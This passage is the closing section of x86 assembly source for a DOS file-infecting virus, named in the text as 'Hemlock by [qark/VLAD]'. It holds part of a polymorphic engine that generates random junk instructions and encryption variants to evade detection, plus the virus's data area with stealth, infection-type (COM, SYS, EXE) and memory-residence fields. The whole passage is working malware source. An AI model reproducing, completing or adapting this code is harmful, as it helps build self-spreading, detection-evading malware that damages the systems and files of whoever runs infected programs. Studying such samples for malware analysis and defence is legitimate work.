  2101.         mov     ah,al
  2102.         in      al,40h
  2103.         and     al,2
  2104.         sub     ah,al
  2105.         mov     al,ah
  2106.         neg     al
  2107.         stosb
  2108.         jmp     redo_second
  2109.  
  2110.  
  2111. one_byte1:
  2112.         test    dl,2
  2113.         jnz     or_cx_cx
  2114.         or      dl,2
  2115.         mov     si,offset database3     ;One byte crap
  2116.         in      al,40h
  2117.         and     ax,7
  2118.         add     si,ax
  2119.         movsb
  2120.         jmp     redo_second
  2121. do_ret:
  2122.  
  2123.         mov     si,offset database3
  2124.         in      al,40h
  2125.         and     ax,7            ;0-7
  2126.         add     si,ax           ;Index into table
  2127.         lodsb
  2128.         mov     ah,0c3h         ;RET
  2129.         mov     dx,ax
  2130.         in      al,40h
  2131.         and     ax,7
  2132.         mov     cx,ax
  2133. swap_pos:
  2134.         xchg    dh,dl
  2135.         loop    swap_pos
  2136.         mov     ax,dx
  2137.         stosw                   ;Store the one byte crap/ret combination
  2138.         pop     es
  2139.         pop     ds
  2140.         pop     di
  2141.         pop     si
  2142.         pop     dx
  2143.         pop     cx
  2144.         pop     bx
  2145.         pop     ax
  2146.         ret
  2147.  
  2148. random_table    dw      offset set_xor
  2149.                 dw      offset garbage1
  2150.                 dw      offset garbage2
  2151.                 dw      offset inc_si
  2152.                 dw      offset dec_cx
  2153.         
  2154. database1:                              ;Utter crap
  2155.                 xchg    bx,dx
  2156.                 mov     bl,9
  2157.                 xor     dx,dx
  2158.                 sub     bx,bx
  2159. database2:                              ;AL garblers
  2160.                 ror     al,1
  2161.                 add     al,07ah
  2162.                 sub     al,0e0h
  2163.                 dec     al
  2164.                 sub     al,0b2h
  2165.                 dec     al
  2166.                 add     al,81h
  2167.                 ror     al,1
  2168.  
  2169. database3:                      ;One byte crap
  2170.                 cld
  2171.                 dec     dx
  2172.                 inc     bx
  2173.                 scasb
  2174.                 inc     di
  2175.                 dec     di
  2176.                 inc     dx
  2177.                 dec     bx
  2178. database4:
  2179.                 db      0bh     ;OR xx,xx
  2180.                 db      23h     ;AND xx,xx
  2181. database5:
  2182.                 db      79h     ;JNS
  2183.                 db      7dh     ;JGE
  2184.  
  2185. cipher_val      db      0
  2186. jmp_calc        dw      0
  2187.  
  2188. Poly    EndP
  2189. ;....................................
  2190. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2191.  
  2192. VirusName       db      'Hemlock by [qark/VLAD]',0
  2193.  
  2194. delta           dw      0               ;delta offset
  2195. qemm            db      0               ;0=no qemm
  2196. dosdata         db      'OSDATA'        ;DOSDATA.SYS
  2197. flag21          db      0
  2198. mz_counter      db      1
  2199. stealth         db      1               ;0=no stealth
  2200. filetype        db      'C'             ;C=COM S=SYS E=EXE
  2201. virus_jump      db      0e9h,0,0
  2202. enc_end:
  2203.                 db      0               ;The polymorphics will encrypt this
  2204.                                         ;byte sometimes.
  2205. header          db      0cdh,20h,16h dup (0)
  2206.  
  2207. end_virus:                      ;<-- Our virus length
  2208.  
  2209.                 db      offset end_virus dup (0)
  2210.                 db      100 dup (0)
  2211. Mem_Size:
  2212. IVT             db      1024    dup (0)
  2213.         mode    db      0
  2214.  
  2215.  
  2216.